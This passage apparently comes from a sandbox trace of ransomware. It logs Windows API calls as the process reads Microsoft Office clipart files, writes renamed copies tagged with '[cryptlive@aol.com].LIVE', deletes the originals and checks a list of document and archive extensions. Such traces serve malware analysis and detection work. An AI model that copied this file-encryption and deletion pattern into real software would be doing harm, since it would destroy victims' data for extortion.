(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0134.960] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.960] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0134.960] GetLastError () returned 0x0 [0134.960] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x3f34, lpOverlapped=0x0) returned 1 [0134.963] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x3f40, lpOverlapped=0x0) returned 1 [0134.964] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.964] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.156] SetEndOfFile (hFile=0x39c) returned 1 [0135.161] CloseHandle (hObject=0x39c) returned 1 [0135.161] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.161] SetEndOfFile (hFile=0x388) returned 1 [0135.163] CloseHandle (hObject=0x388) returned 1 [0135.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0135.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0135.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0135.179] lstrlenW (lpString=".doc") returned 4 [0135.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.179] lstrlenW (lpString=".docx") returned 5 [0135.179] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.179] lstrlenW (lpString=".pdf") returned 4 [0135.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.179] lstrlenW (lpString=".xls") returned 4 [0135.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.179] lstrlenW (lpString=".xlsx") returned 5 [0135.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.179] lstrlenW (lpString=".ppt") returned 4 [0135.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0135.179] lstrlenW (lpString=".zip") returned 4 [0135.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.180] lstrlenW (lpString=".rar") returned 4 [0135.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.180] lstrlenW (lpString=".bz2") returned 4 [0135.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.180] lstrlenW (lpString=".7z") returned 3 [0135.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0135.180] lstrlenW (lpString=".dbf") returned 4 [0135.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0135.180] lstrlenW (lpString=".1cd") returned 4 [0135.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0135.180] lstrlenW (lpString=".jpg") returned 4 [0135.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0135.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0135.180] lstrlenW (lpString=".doc") returned 4 [0135.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.180] lstrlenW (lpString=".docx") returned 5 [0135.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.180] lstrlenW (lpString=".pdf") returned 4 [0135.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.181] lstrlenW (lpString=".xls") returned 4 [0135.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.181] lstrlenW (lpString=".xlsx") returned 5 [0135.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.181] lstrlenW (lpString=".ppt") returned 4 [0135.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0135.181] lstrlenW (lpString=".zip") returned 4 [0135.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.181] lstrlenW (lpString=".rar") returned 4 [0135.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.181] lstrlenW (lpString=".bz2") returned 4 [0135.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.181] lstrlenW (lpString=".7z") returned 3 [0135.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0135.181] lstrlenW (lpString=".dbf") returned 4 [0135.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0135.181] lstrlenW (lpString=".1cd") returned 4 [0135.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0135.181] lstrlenW (lpString=".jpg") returned 4 [0135.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.181] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0135.182] lstrlenW (lpString="BD07804_.WMF") returned 12 [0135.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.182] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4924) returned 1 [0135.182] CloseHandle (hObject=0x1ec) returned 1 [0135.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0135.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0135.182] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.183] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.183] GetLastError () returned 0x0 [0135.183] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x133c, lpOverlapped=0x0) returned 1 [0135.193] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1340, lpOverlapped=0x0) returned 1 [0135.194] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.194] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.194] SetEndOfFile (hFile=0x38c) returned 1 [0135.195] CloseHandle (hObject=0x38c) returned 1 [0135.195] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.195] SetEndOfFile (hFile=0x1ec) returned 1 [0135.199] CloseHandle (hObject=0x1ec) returned 1 [0135.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0135.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0135.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0135.262] lstrlenW (lpString=".doc") returned 4 [0135.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.262] lstrlenW (lpString=".docx") returned 5 [0135.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.262] lstrlenW (lpString=".pdf") returned 4 [0135.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.262] lstrlenW (lpString=".xls") returned 4 [0135.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.262] lstrlenW (lpString=".xlsx") returned 5 [0135.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.263] lstrlenW (lpString=".ppt") returned 4 [0135.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0135.263] lstrlenW (lpString=".zip") returned 4 [0135.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.263] lstrlenW (lpString=".rar") returned 4 [0135.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.263] lstrlenW (lpString=".bz2") returned 4 [0135.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.263] lstrlenW (lpString=".7z") returned 3 [0135.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0135.263] lstrlenW (lpString=".dbf") returned 4 [0135.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0135.263] lstrlenW (lpString=".1cd") returned 4 [0135.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0135.263] lstrlenW (lpString=".jpg") returned 4 [0135.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0135.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0135.263] lstrlenW (lpString=".doc") returned 4 [0135.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.263] lstrlenW (lpString=".docx") returned 5 [0135.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.263] lstrlenW (lpString=".pdf") returned 4 [0135.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.263] lstrlenW (lpString=".xls") returned 4 [0135.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.263] lstrlenW (lpString=".xlsx") returned 5 [0135.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.264] lstrlenW (lpString=".ppt") returned 4 [0135.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0135.264] lstrlenW (lpString=".zip") returned 4 [0135.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.264] lstrlenW (lpString=".rar") returned 4 [0135.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.264] lstrlenW (lpString=".bz2") returned 4 [0135.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.264] lstrlenW (lpString=".7z") returned 3 [0135.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0135.264] lstrlenW (lpString=".dbf") returned 4 [0135.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0135.264] lstrlenW (lpString=".1cd") returned 4 [0135.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0135.264] lstrlenW (lpString=".jpg") returned 4 [0135.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.264] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0135.264] lstrlenW (lpString="BD08758_.WMF") returned 12 [0135.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.265] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=24320) returned 1 [0135.265] CloseHandle (hObject=0x38c) returned 1 [0135.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0135.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.265] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.265] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0135.266] GetLastError () returned 0x0 [0135.266] ReadFile (in: hFile=0x38c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x5f00, lpOverlapped=0x0) returned 1 [0135.279] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x5f10, lpOverlapped=0x0) returned 1 [0135.280] ReadFile (in: hFile=0x38c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.281] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.281] SetEndOfFile (hFile=0x39c) returned 1 [0135.328] CloseHandle (hObject=0x39c) returned 1 [0135.542] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.542] SetEndOfFile (hFile=0x38c) returned 1 [0135.545] CloseHandle (hObject=0x38c) returned 1 [0135.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0135.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0135.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0135.551] lstrlenW (lpString=".doc") returned 4 [0135.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.551] lstrlenW (lpString=".docx") returned 5 [0135.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.551] lstrlenW (lpString=".pdf") returned 4 [0135.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.551] lstrlenW (lpString=".xls") returned 4 [0135.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.551] lstrlenW (lpString=".xlsx") returned 5 [0135.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.551] lstrlenW (lpString=".ppt") returned 4 [0135.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0135.551] lstrlenW (lpString=".zip") returned 4 [0135.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.551] lstrlenW (lpString=".rar") returned 4 [0135.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.551] lstrlenW (lpString=".bz2") returned 4 [0135.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.551] lstrlenW (lpString=".7z") returned 3 [0135.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0135.551] lstrlenW (lpString=".dbf") returned 4 [0135.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0135.552] lstrlenW (lpString=".1cd") returned 4 [0135.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0135.552] lstrlenW (lpString=".jpg") returned 4 [0135.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0135.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0135.552] lstrlenW (lpString=".doc") returned 4 [0135.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0135.552] lstrlenW (lpString=".docx") returned 5 [0135.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0135.552] lstrlenW (lpString=".pdf") returned 4 [0135.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0135.552] lstrlenW (lpString=".xls") returned 4 [0135.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0135.552] lstrlenW (lpString=".xlsx") returned 5 [0135.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0135.552] lstrlenW (lpString=".ppt") returned 4 [0135.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0135.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0135.552] lstrlenW (lpString=".zip") returned 4 [0135.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0135.552] lstrlenW (lpString=".rar") returned 4 [0135.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0135.552] lstrlenW (lpString=".bz2") returned 4 [0135.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0135.552] lstrlenW (lpString=".7z") returned 3 [0135.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0135.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0135.552] lstrlenW (lpString=".dbf") returned 4 [0135.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0135.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0135.552] lstrlenW (lpString=".1cd") returned 4 [0135.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0135.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0135.553] lstrlenW (lpString=".jpg") returned 4 [0135.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0135.553] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0135.553] lstrlenW (lpString="BD08773_.WMF") returned 12 [0135.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0135.553] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=24778) returned 1 [0135.553] CloseHandle (hObject=0x350) returned 1 [0135.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0135.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0135.554] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.554] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 